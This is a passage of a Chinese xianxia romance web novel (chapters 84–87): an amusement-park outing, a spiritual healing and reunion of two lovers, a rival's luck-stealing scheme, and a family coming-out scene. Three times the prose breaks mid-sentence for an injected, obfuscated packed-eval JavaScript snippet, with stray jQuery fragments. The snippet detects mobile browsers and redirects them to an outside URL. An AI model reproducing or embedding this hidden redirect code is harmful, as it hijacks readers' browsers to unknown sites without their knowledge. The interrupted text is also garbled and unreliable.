姜洛玉甩开丛明雪的手,跌跌撞撞地向后退去,结果一个不稳差点跌倒。 他应该……他应该在孤儿院等老师点名之后去睡觉。 为什么会突然出现在外面?还有个陌生的银发男人牵着他? “院长……”幼崽喃喃道,茫然地看向周围光怪陆离的灯饰,还有沸沸扬扬的人群,以及隔一段距离就能看见的烤肠摊。 他能清晰地听见几十米开外的、包装袋撑开褶皱的声音。 这里不是孤儿院。 丛明雪稳稳拽住小黄鸡背带裤的背带,让幼崽不至于再次跌倒。 他蹲下去,看着幼崽的眼睛认真道:“我是院长的朋友。” 院长的朋友? 可是姜洛玉没见过院长有朋友,抓着背带上刚挂上去的星星公仔:“你骗人。” 丛明雪:“我不骗人。院长让我带你去游乐园玩,我就带你来了。” 他指了指不远处的旋转木马,趁着幼崽不注意,一把将他抱起。 幼崽听说过游乐园,那是看图认字的时候形成在脑海里的贫瘠幻想。 在大声叫喊救命和乖乖跟丛明雪去玩旋转木马里,幼崽犹豫了一下。 他不认识这个人。 可这个人抱他的时候,久违的怀抱比风中的雪还要轻柔,又比暖炉还要热烈,是他在孤儿院从来没有体会过的感觉。 他很少需要拥抱。 每次孤儿院的孩子围在志愿者和老师身边叽叽喳喳想要一个拥抱时,他都会站在远离人群的地方,用没什么光的眼睛看着。 他想,为什么人类会需要拥抱呢? 志愿者和老师的怀抱只能让他的身体感觉到温暖,再多的……什么也没有。 他的心不会为之触动。 他向一潭死水,像冬天被冻死在巢穴里、没能长大的乳燕。 幼崽的脑袋里多了很多奇怪的画面,无一例外,每个画面的色调灰白不堪,复杂的情绪堵得幼崽呼吸不上来。 他似乎马上就要变成七岁那年,在孤儿院老槐树下捡到的……被父母抛弃的燕子。 无声无息,再也看不见春天。 “想坐旋转木马吗?”丛明雪耐着性子又问了一遍,“坐完旋转木马,我们还可以去做小火车。” “星星滑梯、蹦床、篝火晚会、摩天轮?你想玩什么都可以。” 姜洛玉:“我……” 丛明雪:“肚子饿的话,我们可以去吃东西。喜欢棉花糖吗?” 可供选择的东西太多了,多到幼崽根本选不出来。 太阳彻底沉了下去,繁星乐园最引以为豪的瑰丽灯光彻底登上舞台。 暖黄的灯光下,幼崽能看清银发男人眼睛里一闪而逝的金色流光。 男人的脸上没什么表情,可是眉眼间的神色却是温柔的,仿佛冰雪融化后从土里钻出来的草芽。 丛明雪见幼崽呆愣着一言不发,而且有持续沉默的意向,只得叹了一口气,为他戴正小黄鸡的帽子,问道:“那我们先去坐旋转木马好不好?之后还有什么想玩的再告诉我。” 幼崽这才点了点头。 于是他带着幼崽从旋转木马开始,把乐园里面面相幼儿开放的项目玩了个遍,吃了餐厅最火的儿童套餐,最后又买了个星星棒棒糖去看篝火晚会。 期间幼崽一直不吵不闹,问什么都点头表示可以。 放置篝火的舞台中央,奇装异服的演员们拿着话筒唱着欢歌,人群挤在一起,不少人头顶都带着繁星乐园的星星发卡。 他们来得比较晚,站在后方的视野没那么好,丛明雪先把幼崽放到地面,再弯腰将人一把抱起放在了脖颈上。 “诶……!”幼崽抱着丛明雪的脑袋,视线从未有过的开阔。 他想让丛明雪放自己下来,却发现自己根本不知道该管丛明雪叫什么。 “叔叔。”幼崽有些不自在,“您能放我下来吗?” 丛明雪:“……” 人群猛地发出惊呼,原来是表演到了关键时刻。 他暗暗用灵力将幼崽托举得更高了些::“这样子能看得更清楚,你确定要下来吗?” 幼崽有些犹豫,坐在丛明雪的肩膀上……轻而易举就能看见舞台上的一切。 可是这样又能持续多久呢? 这个自称是院长朋友的男人早晚都会累的。就像是有一年,孤儿院发生流感,院长的身体即使再健康,也扛不住连轴转地照顾生病的孩子,最后病了半个月。 今天晚上发生的一切太像做梦了。 即使院长不像其他人一样觉得他奇怪……也不会专门找人带他出去玩。 幼崽觉得自己应该醒过来,于是点了点头,又补充道:“我想回孤儿院。” “好,我们走。”丛明雪顺从幼崽的心意将他放回地面,领着幼崽远离了舞台。 他们来到人流不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137633|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很多的一角,丛明雪蹲下去,拿下小黄鸡的帽子,揉了揉幼崽的脑袋:“我本来以为,你会自己问出来。” 幼崽歪了歪脑袋,问什么? “不好奇我到底是谁吗?” 幼崽摇摇头。 “那为什么不跑?也不找人求救?不怕我是坏人吗?” 幼崽握着星星灯不知所措。 他不知道,他只是觉得这个人……不是坏人。 “其实我是神仙。”丛明雪握紧右拳,递到幼崽面前,“吹一下。” 幼崽照做,在有他半张脸大的拳头上吹了一口气。 下一秒,漫天烟花“砰”得一声炸开在空中。 菊花、蒲公英、垂柳的形状层出不穷,绚烂多彩的火光照亮了幼崽的瞳孔。 负责燃放烟花的工作人员掐着清单对来对去:“这批烟花也放不出来这么多焰火啊……” “好漂亮……是给我的吗?” 幼崽的声音很轻,随风飘散在爆炸声里,但丛明雪听得一清二楚。 他摇头:“是也不是。” 幼崽依旧不懂,紧接着,对面的男人伸出手点了点他的眉心。 “如果可以,我想把全世界最好的东西都送给你。” 姜洛玉:“为什么?” 丛明雪轻轻勾起嘴角,生疏道:“因为姜洛玉是这个世界上最好、最可爱的小朋友,他值得最全世界都去爱他。” “噗通、噗通。” 幼崽在孤儿院从来没感受过如此真心实意的夸赞,因为他本身就不是一个性格“讨喜”的孩子。 “真的吗?”他酸着鼻子小声问。 丛明雪伸出小手指,语气认真:“真的,我们可以拉勾。” 幼崽吸了吸鼻子,露出今天晚上第一个笑,也伸出手。 结界无声无息地围绕着两人展开,丛明雪收起手退至一米外,在幼崽面前凭空画出一道阵法。 金色的阵法流淌着威严肃穆的“天”威,直直冲向幼崽! 霎时间风云巨变,法阵入体后,幼崽身上冒出滔天浊气,黑气一窝蜂似的全都涌向了丛明雪! “噗——” 浊气悉数入体,丛明雪捂着胸口喷出黑色污血,眼神涣散。 而对面,幼崽消失不见,取而代之的,是一个长相明艳漂亮的青年。 青年穿着玄色金纹的长袍,黑发半扎,眼眶红彤彤的,似乎刚哭过,二话不说直接扑上去抱紧了丛明雪的脖子。 “你真是……唔……”姜洛玉话没说完,灼热的吻就落了下来。 恰逢此时,压轴烟花炸开在漆黑天幕。 一黑一白两道身影纠缠在一起,灵气涌动,随着烟花秀进入尾声,两人才分开。 等姜洛玉把法衣幻化成合适的款式,丛明雪这才撤下结界,牵着他的手向远处走去。 “去哪儿?”姜洛玉改为挎住丛明雪的胳膊,黏乎乎地问着,心情好得不得了,下唇的红痣宛如一抹朱砂。 刚才是丛明雪见他因浊气侵扰记忆错乱加深,担心再生出什么事端,这才冒险替他把剩余的浊气吸走,加快了他的恢复速度。 虽然丛明雪无法主动消磨浊气,但等他恢复正常,他就能给丛明雪渡去灵力,引导他炼化浊气。 至于引导方式……咳咳。 丛明雪:“摩天轮。” 姜洛玉:“……?” 想到了什么,他一下跳上丛明雪的后背,无视周围越来越多视线。 “你带我去那儿是想做什么?” 丛明雪红了耳朵,目视前方:“我听说在摩天轮最高点接吻的情侣,会一直在一起。” 姜洛玉:“好——” “站住!” 85.穿越第八十五天 底气略显不足的男声从身后传来,熟悉得吓人。 姜洛玉“啧”了一声,跳下去,转身对上眼珠通红的厉凌尘。 对方看起来狼狈极了,脸颊带着明显的擦伤,头发上满是亮片,新换的一身浅灰的羊绒大衣上甚至还沾着……棉花糖渍。 “你追来这儿有意思吗?”姜洛玉大大方方挎着丛明雪的胳膊,介绍道,“这是我未婚夫,再来纠缠小心走路摔掉牙。” 厉凌尘下意识舔了下来时磕痛的门牙,竭尽全力面带微笑,柔声道:“别开玩笑,玉玉你连孩子都有了,怎么会和男人在一起。” 姜洛玉:“我生的。” 厉凌尘完美的表情出现一丝裂痕,艰难挤出来几个字:“……别骗我。” 姜洛玉见围观的人群越来越多,直截了当道:“我知道你想做什么。” 厉凌尘心脏漏跳一拍,脆弱的神经在经历了一天的倒霉事后终于崩溃:“不可能!别信口雌黄……不,你知道的。” “你一直知道的!我爱你啊!答应我好不好,我追了你这么多年,就算你失踪也为你守身如玉……你不能爱上别人!” 这般说着,厉凌尘却后退几步,脚踩到了不知道什么时候落在地上,还没燃尽的烟花棒。 “嗞啦”声从鞋底传出,显得他更像是一条被命运煎熬的带鱼。 灼热感让厉凌尘身子一歪,向一旁的灌木丛倒去。眼疾手快扶了一把垃圾桶,手心又沾上了不知道什么时候吐上去的粘痰。 “靠!”厉凌尘崩溃地坐在地面扯着头发,眼神怨毒地看向姜洛玉。 都是因为他,全都是因为他…… 十八年前,当姜洛玉成为姜家小儿子的那一刻,厉家对姜家做过的所有腌臜事就全都反噬到了他身上。 厉父与姜父早年间情同手足。可惜在一次商战后,两人彻底决裂,姜家蒸蒸日上,而厉家却几近破产。 厉家生死存亡之际,厉父除了力挽狂澜,背地里找上了个据说能“逆天改命”的大师。 靠着所谓的大师,厉父成功借到了姜家的“运”。 厉家起死回生了。 但借运不是没有代价的,为此厉家老爷子驾鹤西去,厉家几乎所有人的身体都变得病恹恹的,和得了病的瘟鸡没什么区别。 而且借运的前提是——姜家不会多出破坏借运之术的新成员,否则厉家就会被反噬。 大师当年信誓旦旦地向厉父保证,姜家夫妇子女缘分已满,子孙缘分尽断,绝不会出什么差错。 可惜人算不如天算,在厉凌尘九岁那年,姜家突然从孤儿院收养了一个小儿子。 但借运之术的反噬没有祸及全家。而是全都应验在他身上,就因为他阴年阴月阴日出生的命格。 从姜洛玉入住姜家那天起,他就变得无比倒霉,靠着大师的玉佩才侥幸活到现在。 大师说,像他这种情况,如果想要彻底摆脱霉运,只有一条路可走——和姜家那个养子签上一条姻缘线,把霉运转移到他身上,再果断离开。 此举方可保他一世无忧。 可惜就算他使出浑身解数,姜洛玉从来都不拿正眼瞧他,更别提答应他的追求。 他坚持不懈了五年,想着总有一天能让姜洛玉松口,结果第六年还没开始,人就消失了。 大师也算不出姜洛玉的下落,他就这么苦苦坚持了两年,变得越来越倒霉。 直到前段时间,大师告诉他,如果再转移不了霉运,玉佩也保不了他。 厉凌尘不想信,可在一周差点出了五次车祸后,又不得不信。 好在天无绝人之路,姜洛玉回来了。虽然多了个儿子,但这不是问题。 又没带“妻子”回来,证明他是还有机会的。 只要能让姜洛玉答应自己的追求,哪怕是一天,他都能趁机将霉运转移到他身上。 可是现在…… 厉凌尘恶狠狠地瞪向姜洛玉身后的银发男人,完了,全完了。 姻缘线被别人握在了手里,他要等也只能等两个人分开之后再继续。 可他没时间了。 “要解决他吗?”丛明雪微微侧弯下身体,凑到姜洛玉耳边问。 这人明显动了什么歪心思。 姜洛玉看着厉凌尘身上的灰色霉运,摇头:“用不着,这种人到了穷途末路,想做什么都会失败的。” 他松开丛明雪的胳膊,走上前蹲了下去,轻飘飘道:“自作孽不可活,你身上的反噬除了死亡无解,不要动什么歪脑筋。” “有这个时间,多去陪陪家人,别死在外面。” “你怎么知道?”厉凌尘扯着头发的手一顿,看向身旁的青年,“我、你是妖怪对不对?大师算不住你的来历和去处,因为你根本不是人!” “大师”,一个关键线索。 姜洛玉挑眉:“你就当我是吧。” 说完拍了拍身上的灰,继续跨上丛明雪的胳膊:“我们走。” 一黑一白两道身影离开了人堆,朝着摩天轮走去。 “抱歉,我们的摩天轮正在进行定期维护,今晚不再对游客开放。” 工作人员带着十二分的歉意试图劝说面前的两个人离开,可一头银发还戴着绿色美瞳的男人板着脸,似乎对这个说法很不满意。 广播恰到好处的开始播报——“尊敬的各位游客,摩天轮已开始每日维护,明早八点正常开放。” 夜已过半,人流量其实已经很少了。 萧瑟的秋风吹过两人之间的空隙,姜洛玉戳了戳丛明雪的腰:“有空再来玩儿吧,我们去玩儿别的?” 丛明雪没有吭声,任凭姜洛玉牵着自己向远处的大摆锤走去。 等到姜洛玉把在记忆里“惊险刺激”的娱乐项目都玩了一遍,他摸了摸心跳都没变快的心口,不得不承认自己在这个世界已经失去了曾经最热衷的爱好。 估计让他从几万米的高空自由落体,他都感受不到一丝刺激。 丛明雪跟在姜洛玉身边若有所思,眸光微动,一把抱起有些沮丧的青年,掩去身形,御风飞到了摩天轮最高处的吊舱上方。 没等丛明雪开口,姜洛玉就跳了下去立在空中,凑上去在那张薄唇上亲了一下。 吻很轻,像蜻蜓点水,却又让丛明雪心跳加速。 “怎么上来了,不是说明天再来吗?”姜洛玉听见耳畔呼啸而过的风。 被“插曲”破坏的心情因为吻重新变得愉悦,他的耳朵里,多了另一个人的心跳。 “我不想等。” 丛明雪牵起姜洛玉的手,放在了自己心口:“我喜欢那个传说,就像……喜欢一切关于‘不会分别’的传言。” “这是我新做的情丝耳坠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145747|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛着淡淡粉光的耳坠从心口飘出,一直飞到了姜洛玉的脸颊旁边。 和之前那一对儿相差无几。 丛明雪拿起其中一个,在姜洛玉的耳朵上比了比:“自从那次用情丝通讯后与你断了联系,我就新做了一对儿。” “在仙界的传说里,若是能将情丝送给心上之人,对方一旦收下,便代表是在姻缘石上认可了这段缘分。” “从此,两人天崩地裂也无法断绝。” 他轻声说着,语气带着加倍的珍重。 “阿玉,你愿意接受我的情丝吗?” 此时的姜洛玉……正在识海里飞速检索“情丝的取出方法”。 奈何记忆太多太杂,他一时有些找不出。 丛明雪暗含期待的目光如有实质,急得姜洛玉汗都要流下来了。 “找到了!” 姜洛玉神色一喜,念着对应的咒语,以指为刃划开左胸,逼出一滴心头血。 这次心头血的颜色莹润得不像是血,散发着淡淡的粉,那血中一点颜色近黑的红,就是他刚取出来的情丝。 血珠飞入剩下的耳坠里,几秒后炼化完毕。 姜洛玉拿起耳坠,触手微凉:“我当然愿意,那你呢?” 没有回答,只有一双温热的手捧着他的手,不太熟练地将耳坠戴了上去,又将另一枚戴在了他的右耳上。 “砰!” 绚丽的烟花正正好好炸开在摩天轮顶部。繁星乐园的游客十分惊喜,今天居然还有第二场烟花秀可看。 无相球幻化的中年男人站在摩天轮后方空地,看见交叠在一起的两人满脸欣慰。 抬手拍了拍工作人员的肩膀:“小伙子辛苦了,这是你的小费!” 周滔呼吸一滞,连忙接过无相球递来的几张百元大钞:“不辛苦不辛苦,这都是我的本职工作!” 呜呜呜他今天也太幸运了! 本来在门口和一个风衣暴躁男发生口角,他还以为要被辞退,没想到那个暴躁男骂完居然甩给他一沓钱,让他别站在门口碍眼。 他也不知道自己有什么碍眼的…… 不过看在钱的面子上,门口的工作又恰好结束,他就换了衣服去仓库清点明天需要用到的烟花。 清点一半儿,负责人进来说有个大客户又买了一场烟花秀,让他把东西都运到摩天轮后面的空地上,再留在那边点烟花。 这么一留居然又赚到了小费,他回家做梦都能笑醒! 无相球见烟花放完,刚想回到姜洛玉的丹田,结果三清秘境幻化的玉簪晃悠悠地飘到了眼前。 “今天……不对,宴会前都不要过来打扰我们。” 姜洛玉的声音在识海响起,又单方面切断了联系。 无相球“啊”了一声,想到了什么,揣着玉簪回了姜家。 姜家别墅。 其他人早都睡了,只有作息混乱的姜林飞躺在床上辗转反侧。 就在刚才,确定他没睡之后,姜洛玉一通电话打过来,说他已经恢复正常,只不过这两天要短暂闭关一下。 如果他无法出关,宴会可以由本命法宝代为参加。 有那法宝的变幻神通在,一个顶十个都没问题。 可姜林飞还是越想越觉得不对,直觉告诉他有猫腻。 可是孤男寡男的,还是师徒……又能有什么猫腻? 86.穿越第八十六天 “先生,这是您的房卡,可用于激活电梯,如有其他疑问请随时拨打客房服务电话,祝您二位入住愉快!” 前台说完,又忍不住看了眼面前的人,上班的疲劳都被这两张异常完美的脸冲淡不少。 姜洛玉面不改色地接过房卡,先一步朝着电梯走去。 丛明雪跟在他身后,安静地仿佛一道影子。 顶层只有一间总统套房,刷开房门就能看见入户厅两面的墙壁上,晶莹剔透的白色玉兰熠熠生辉。 无处不在的水晶吊饰反射出驳杂的光,姜洛玉转身扯了一把丛明雪的领口,等到对方低下头时,一下亲了上去。 接吻两个人不知道做过了多少次,就连更亲密些的动作也不是没有过。 可从来没有像今天一样,姜洛玉整个人都要融化在了吻里。 “还记得《风月和鸣诀》吗?”丛明雪问完碰着姜洛玉的脸,又在唇上轻点了一下。 “你怎么知道?”姜洛玉震惊道。 丛明雪将人横抱起来,边走边说:“你的动作太慢了。” 虽然只有一瞬,也足够他看清迦南月交给姜洛玉是什么功法。 被放在床上的青年没有回答,而是挑了挑眉,坐起身子,慢悠悠解开了领口的扣子,露出一小片白皙的锁骨。 再向下,以丛明雪的眼力,能够看清一层之隔若隐若现的两点樱粉。 姜洛玉抓了把恢复真实长度的黑发,一双本该多情的桃花眼里泛着水光。 他伸出手指,在丛明雪心口点了几下,轻飘飘地说:“神君不会连这种东西……都不会吧?” 作乱的手被人抓住了。 姜洛玉抬头对上丛明雪幽深的眸子,里面直白地流露着不加掩饰的欲望,视线相交带来的热度几乎将他的三魂七魄烧得粉碎。 空气逐渐升温。 丛明雪虔诚地执起一缕青丝,在上面落下一吻,声线暗哑:“我不会。” “所以……你愿意教我吗?” 秋雨再度落了下来,打在北市的土地。 水雾蔓延上玻璃,温度逐渐下降,给了花坛里尚未凋零的花朵送去了潮湿的梦境。 第三天一早,晨光透过薄纱照进屋内,打在床上熟睡的青年脸上。 许是阳光正好照在眼皮上,青年微微蹙眉,翻了个身将被子压在身下。 牵扯到了某处部位,姜洛玉猛地睁开眼睛,灵力自发运转,开始恢复身体上的疲劳。 房间里静悄悄的,只有心口新鲜出炉的道侣契静静流转光华。 他坐起身,靠在床头有些奇怪——丛明雪呢? 一想起丛明雪,脑袋里就忍不住划过这几天的记忆,耳根瞬间烧红。 他们刚开始确实很顺利,毕竟《风月和鸣诀》不是浪得虚名,可惜进行了两次之后出了点小意外。 《风月和鸣诀》的本质是引精化气,再与吸收的灵力结合,流转全身经脉使双方修为层层精进。 本来以为此界就算灵力稀微,做个双修的引子也绰绰有余。不曾想第二次之后,他身体里就像爬了蚂蚁一样。 姜洛玉用他仅剩一丝理智,努力回想《风月和鸣诀》的修炼注意事项,想起了小字里的——“灵气不足恐心火焚身”。 说什么都晚了,丛明雪同样眼珠通红。 之后发生的事情,完全超出了他的掌控。 现在想起来依旧腿打颤。 灵气运转几分钟之后,姜洛玉敞开浴袍,确认身上的痕迹消失了七七八八,这才翻身下床。 身上很清爽。虽然隐约记得丛明雪带他洗了澡,还是忍不住摸进了浴室。 “咔哒。” 开门声响起,姜洛玉正巧收拾完从浴室出来,身上法衣幻化而成的睡袍遮住了光滑笔直的小腿。 他打着哈走到门口,看了一眼丛明雪手里的东西,树袋熊一样跳了上去:“怎么做饭去了?” 丛明雪“嗯”了一声,稳稳接住姜洛玉,离手的托盘飞到餐桌,素菜清粥以及模样精致的糕点还散发着热气。 “这些食物我用灵力改造了一遍,你吃起来会舒服些。” 姜洛玉刚想说自己不饿,结果肚子久违地响了起来:“……” 功法害人。 丛明雪将人放到座位上,自己坐到旁边,眼睛一错不错地看姜洛玉吃饭。 比起三天前,现在的青年更像熟透的朱果,轻轻一碰……就会汁液四溅。 收回落在青年微红眼尾上的视线,丛明雪脑中不断重复那些粘腻、滚烫的记忆。 “今天是不是要去参加宴会?”姜洛玉咽下最后一口清粥,捏了块芙蓉糕塞进嘴里。 淡淡的桂花香气从舌尖炸开,口感软糯又带着红豆的沙感。 丛明雪“嗯”了一声,不敢多看。 “唔,师尊你也吃。”姜洛玉起了坏心思,叼着芙蓉糕的一端,跨坐到丛明雪身上,低头凑了上去。 唇瓣的红和芙蓉糕的粉闯进视线,连带着眼尾那抹艳色也漂亮得让人心动。 丛明雪恍了恍神,顺从地张开嘴,鼻尖涌上股淡淡的花香。 等到糕点尽数入腹,丛明雪心念一动,带着人转移到了沙发上。 移动间姜洛玉身子一个不稳,直接向前倒去,撑着手底下结实的胸膛才没发生什么额头撞牙齿的悲剧。 他扶了扶有些晕的头,换了个姿势坐在丛明雪怀里:“这功法太坑人了。” 丛明雪抬手用灵力为姜洛玉按摩全身:“是我不好,应该仔细检查后再开始。” 姜洛玉咳了咳:“不能怪你,要怪就怪浊气,把我的记忆搞得乱七八糟的。” 刻着《风月和鸣诀》的玉简早就粉碎在升上妖界的过程里。 当时情况“紧急”,他想都没想直接把关于功法的记忆渡给了丛明雪。 一番折腾下来,他灵力彻底运转不畅,连带着肉身也得虚弱几天。 丛明雪和他比起来幸运些,灵力不畅的反噬在他身上微乎其微。 “爸妈他们是不是联系你了?”姜洛玉一边说着,一边摸出丛明雪口袋里的手机。 列表里确实摆着一串儿姜家人的消息,丛明雪也都认真回复了。 现在是早上九点,宴会开启的时间是晚八点。 姜洛玉收起手机,侧头亲了丛明雪一口,黑眸亮晶晶的:“师尊我们走,给你个名分。” 丛明雪呼吸一滞,抱着姜洛玉不让他乱动:“会不会太突然。” “当然不会,”姜洛玉用灵气搓出来块生姜,“我变成生姜我妈都没把我扔出去,出个柜而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150663|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “肯定没问题。” —— “问题大了去了!他、小弟怎么能和……” 二楼,姜林廷的卧室里,姜林飞背着手走来走去,脚边还跟着一只狗。 姜林琬掐着细长的女式香烟,淡淡的烟草香气穿过鼻腔直达肺部。 她瞥了眼姜林飞,诧异道:“你恐同?我记得你前几天不是还和队友‘甜蜜’互动吗?” ‘甜蜜’两个字咬得异常清晰,仿佛就连烟嘴也要一并吞掉。 “我那是工作,呸,是炒作!”姜林飞痛心疾首,“那什么野葱神君可都活了十几万岁了,你就不怕小弟吃亏吗?” 姜林琬掏了掏耳朵,无奈道:“怕啊,可是你没看见玉玉刚才的表情么?明显是一头扎进去了。” “好了。”姜林廷叫停了这场无谓的争吵,“担心是因为对方实力过强,而我们却没有与之匹敌的力量能为小弟兜底。” “丛先生如果是普通人,就算对方同样家大业大,我们也不会像现在一样焦虑。” 姜林飞突然安静了下来。 大哥说得对。 他们凡人之躯,即使窥探到了修真者力量的‘冰山一角’,也无法想象平静的水面下究竟藏着多少波澜。 “爸妈还在下面等着,我们也下去吧。” 会客厅。 丛明雪正襟危坐,和一旁的姜洛玉迎接着姜父姜母的“询问”。 姜景安大多数时候都在沉默不语,林朝盈则是恨不得知道他们在一起的所有细节。 姜洛玉认真地回答了林朝盈的所有问题。从仙界五百年陪伴开始,到下界一百多世的轮回相守,一直说到丛明雪为了他割裂了三魂七魄去妖界找他,过程极其天花乱坠又合情合理。 虽然他们之间的经历本身就很魔幻,但经过姜洛玉艺术性地加工,更是多出来一种“山无陵,天地合,乃敢与君绝”的悲壮。 林朝盈听得泪眼婆娑,一手牵住一个,把他们的手合放在一起,柔声道:“好孩子,你们受苦了。” 姜林飞绝望闭眼。他也想否认这一切都是假的,可看向姜洛玉说话时不自觉泛红的眼睛,实在否认不下去。 姜林廷和姜林琬接受良好,不过神情也挂上了几分心疼。 姜景安为妻子擦了擦通红的眼,缓缓开口:“老幺,我们接你到姜家的初衷,就是希望你能活得幸福。” 姜洛玉“嗯”了一声,有点绷不住泪。 “你和丛……药辛在一起,妈妈能感受到你很开心,也能感受到你们是真心相爱的。”林朝盈擦干眼泪,从身后的漆器盒里翻出一枚龙纹玉佩。 “这是姜家的传家玉佩,传给每一代最先结婚的孩子。今天,我就把这个交给你和药辛。” 玉佩递到了眼前。 姜洛玉先行接过,又递给了丛明雪。 丛明雪拿着玉佩郑重其事道:“伯母,我会照顾好阿玉的。” 林朝盈破涕为笑:“叫什么伯母,也没多少规矩,直接叫爸妈吧。” 丛明雪心头一热,立马改口:“爸、妈。” 说完又转身叫了一遍坐在另一侧的三兄妹。 三人:“……” 没等三人想明白该叫丛明雪什么,龙纹玉佩突然爆发出强烈金光! 87.穿越第八十七天 “唉唉唉——!” 无相球抓不住三清秘境幻化的玉簪,眼睁睁看着它直直撞向玉佩。 然后“砰”得一声,金发金眼,还长着龙角的男孩儿出现在丛明雪和姜洛玉之间。 玉佩安安稳稳落到了桌面。 众人:“……?” 辰欢揉了揉脑袋,有些懵,看了一圈迟疑道:“早上好?” 姜家众人……本来以为看见什么都不会奇怪了。 可当这个看起来才七八岁的小龙人一出来,他们还是觉得接受力有待提高。 姜洛玉也有些意外,把辰欢放到地面,简单介绍了一下他的身份,然后问道:“三清秘境可以开启了?” 辰欢摇头:“还没,秘境在此界灵气不足无法开启,要回去才可以。” “我出来是因为……察觉到了金龙气息,就借力出来了。” 说完指了指和玉簪一起躺在茶几上的玉佩。 “我怎么没发现?”姜洛玉一边说着一边看向姜景安,“爸,这传家玉佩什么来历?” 姜景安:“族谱记载,这玉佩是某一任君王赏赐的,老祖宗带在身上,一直传到了现在。” “那就对了。”辰欢新奇地摸了摸跑过来的哈士奇,“这上面的金龙气息极弱,非是金龙无法察觉上面的气息。” 姜洛玉晃了晃通体洁白的玉佩:“没想到那些皇帝自称‘真龙天子’,还真有金龙血脉。” 不过…… “爸,厉家和我们家到底有什么恩怨?”姜洛玉把玉佩收好,看向正在和辰欢僵硬互动的姜景安。 姜景安如蒙大赦,沉思一会儿回答道:“陈芝麻烂谷子的事了。当年两家商战,厉家损失惨重,我和现任厉家家主决裂。” “虽然厉家挺过来了,不过我们两家的也彻底变成了竞争对手。” 和丛明雪对视一眼,姜洛玉放出炸弹消息:“三天前,厉凌尘过来找我了。” 姜林廷喝茶的手一顿,蹙眉道:“他又来找你做什么?” “他再来的话……你离他远一些。那家伙最近几年邪性得很,去过的地方多少都会沾些晦气。” 他本不是爱嚼人舌根的人,奈何厉凌尘这几年的倒霉事儿诡异得要命,圈子里的人都躲着他走。 “什么晦气?”姜林飞有些心虚,一狠心继续开口,“前几天……弟夫和我说来着,我忘记告诉大家了。” “这么要紧的事你都能忘?”姜林琬又给了姜林飞一拳,“忘记他当年怎么跟踪的小弟了?” 姜洛玉“咦”了一声,他怎么不知道有这回事? 姜林琬:“当年你进大学不久,厉凌尘就开始高调追求,我们本来没把这事放在心上。直到那次林飞在你住处附近把他打跑,我们才意识到不太对。” “找人调查后发现,厉凌尘一直在悄悄跟踪你制造‘偶遇’。”姜林廷接过话茬,“我们知道真相的时候,已经是他追求你的第四年了。” “后来呢?”姜洛玉眼皮跳了跳,“我记得第五年,这人就消失不见了。” 姜林飞义愤填膺:“必须消失不见!恰好那王八蛋刚接手厉家的一些工作,大哥直接托了人情,让他四处碰壁。” “他自救都来不及,哪还有时间纠缠你。” “不过玉玉你不喜欢和圈子里的人打交道,可能不知道……”姜林琬露出厌恶的表情,“他第五年依旧在圈子里立自己‘忠贞不渝’的人设。” 别说姜洛玉不知道,就连姜景安和林朝盈都没听说过。 姜林飞比划了一下:“厉凌尘身边都是些圈子里的败类,什么都干的那种,也爱把他的‘事迹’当成炫耀的资本说出去。” “不过我们姜家的风评一向不错,小弟又不怎么和圈子里的人打交道,没太多人在意。” “就算有背地里乱说话的,大哥大姐直接和他们家的人‘谈’几句,逐渐也就没人敢说了。” 林朝盈和姜景安这才明白——孩子太能干,腌臜事还没传进他们耳朵就销声匿迹了。 辰欢坐在狗背上满脸不可思议,觉得这人真不要命,现在还敢和神君强人。 钢炮“嗷呜”了两声,驮着辰欢在若大的会客厅里跑来跑去。 辰欢甚是欣慰,觉得此狗有潜力能成为坐下一员猛将,决定用龙血给它改造一番体质。 “你们说的晦气,是指他很倒霉?”姜洛玉眼疾手快拦住了那滴飘进狗嘴里的血。 他捏着龙血,有种想把辰欢塞回三清秘境的冲动:“你想撑死它吗?” 辰欢有点摸不着头脑:“它体内有你的姜苗化作的灵根,喝了没问题啊,最多痛苦些。” 丛明雪淡淡道:“等其彻底开智化形,你再赐其龙血,让它选择是否服下。” 辰欢“哦”了一声,转过去开始研究沙发的构造。 小插曲过后…… 姜林飞没过不去。瞧他听见了什么?钢炮、灵根、化形?还有什么龙血? 这些个字拆开他能理解,怎么合在一起就不认识了? 这还是他的狗吗? “不只是他本人倒霉。”姜林廷斩钉截铁,“近两年,厉凌尘身边玩得很好的几个人,全都非死即伤。” “就算是警方调查的时候怀疑到了他身上,他也有完美的不在场证据,凶手落网后也没查出来和他有什么关系。” 姜景安点头:“我这两年也听说了。老赵的儿子在赛车比赛里刹车失灵,不幸身亡,那天的比赛恰好就是厉凌尘发起的。” 